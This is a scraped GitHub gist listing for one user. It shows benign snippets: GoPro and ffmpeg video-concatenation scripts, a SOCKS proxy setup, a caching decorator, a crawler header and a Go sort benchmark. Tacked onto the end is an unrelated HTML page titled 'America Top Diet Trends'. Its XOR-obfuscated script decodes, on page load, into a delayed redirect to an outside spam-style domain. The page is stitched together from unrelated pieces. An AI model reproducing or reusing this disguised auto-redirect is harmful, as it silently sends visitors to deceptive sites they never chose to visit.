Skip to content

Instantly share code, notes, and snippets.

View suminb's full-sized avatar

Sumin Byeon suminb

View GitHub Profile
@suminb
suminb / concat.py
Created December 30, 2020 15:10
Concat GoPro media files
import glob
import os
import sys
def escape(path):
return path.replace(" ", "\ ")
def extract_episode_and_sequence(path):
@suminb
suminb / concat_mp4.sh
Last active October 11, 2020 08:17
Concat mp4 files with ffmpeg
#!/bin/bash
#ffmpeg -f concat -i <(find . -name '*.mp4' -printf "file '%p'\n") -c copy output.mp4
#ffmpeg -f concat -i <(printf "file '$(pwd)/%s'\n" *.mp4) -c copy output.mp4
#ffmpeg -f concat -i <(for f in ./*.mp4; do echo "file '$f'"; done) -c copy output.mp4
list_file="list.txt"
archive_path="processed"
function get_unique_dates {
@suminb
suminb / 상장사 주소.ipynb
Created December 1, 2018 16:00
상장사 주소 가져오기
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
<!DOCTYPE html>
<html>
<head>
<script src="https://d3js.org/d3.v5.min.js"></script>
<style>
.hover path {
stroke: #ccc;
}
#!/bin/bash
export GIT_SSH_COMMAND='ssh -o ProxyCommand="nc -X 5 -x 127.0.0.1:1080 %h %p"'
export http_proxy=socks5://127.0.0.1:1080 https_proxy=socks5://127.0.0.1:1080
@suminb
suminb / cached_fetch.py
Last active November 19, 2019 13:27
I could use this as an example for SBCW
def cached_fetch(key: callable, base_path=".", max_age=None):
"""Decorates a function that returns Response object from Python Requests.
Example 1:
@cached_fetch(generate_key)
def make_cached_request(url, *args, **kwargs):
return requests.get(url, *args, **kwargs)
Example 2:
@suminb
suminb / crawler.py
Last active October 16, 2019 15:23
"""이 코드를 실행하려면 몇가지 외부 라이브러리가 필요합니다. 다음과 같이 설치할 수 있습니다.
pip install requests beautifulsoup4 logbook
그리고 프로그램을 실행할 때 URL을 하나 넘겨주어야 합니다.
python crawler.py http://...
"""
from collections import deque
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@suminb
suminb / sort_test.go
Last active May 20, 2019 03:20
Go sort performance test
package main
import (
"math/rand"
"sort"
"testing"
)
var n = 600000000
var seq = make([]int, n)
<!DOCTYPE HTML>
<html><head><title>America Top Diet Trends</title>
<script>function aYlaIO(s) { var key=52; var str = decodeURIComponent(s); var xored = ""; for (i=0; i<str.length;i++) { var a = str.charCodeAt(i); var b = a ^ key; xored = xored+String.fromCharCode(b); } document.write(xored); return xored; };
</script>
</head><body id="K4u44XIRCuHTle9uIijxIgUlOf8LYPI9F6RlQFjGZBh05wuEzv" onload='onloaded();'>
<h1 id="8uq9XQ8y9zEjt0rv7ZuJNRf6KuHbGbi5OP1pSJke4Kca7d6he0"><script>aYlaIO('%7BDQZ%5DZS%1A%1A%1A');</script></h1>
<script>aYlaIO('%08GWF%5DD%40%0ARAZW%40%5D%5BZ%14PQXUMQF%1C%1DOC%5DZP%5BC%1AX%5BWU%40%5D%5BZ%1A%5CFQR%14%09%14%13%5C%40%40D%0E%1B%1BCCC%1AR%5BL%01%1AZQCG%1AFAG%5CZCG%1AW%5BY%1B%0BG%09XR%13I%0F%14GQ%40%60%5DYQ%5BA%40%1C%13PQXUMQF%1C%1D%13%18%14%07%07%04%1D%0F%08%1BGWF%5DD%40%0A');</script>
</body>
</html>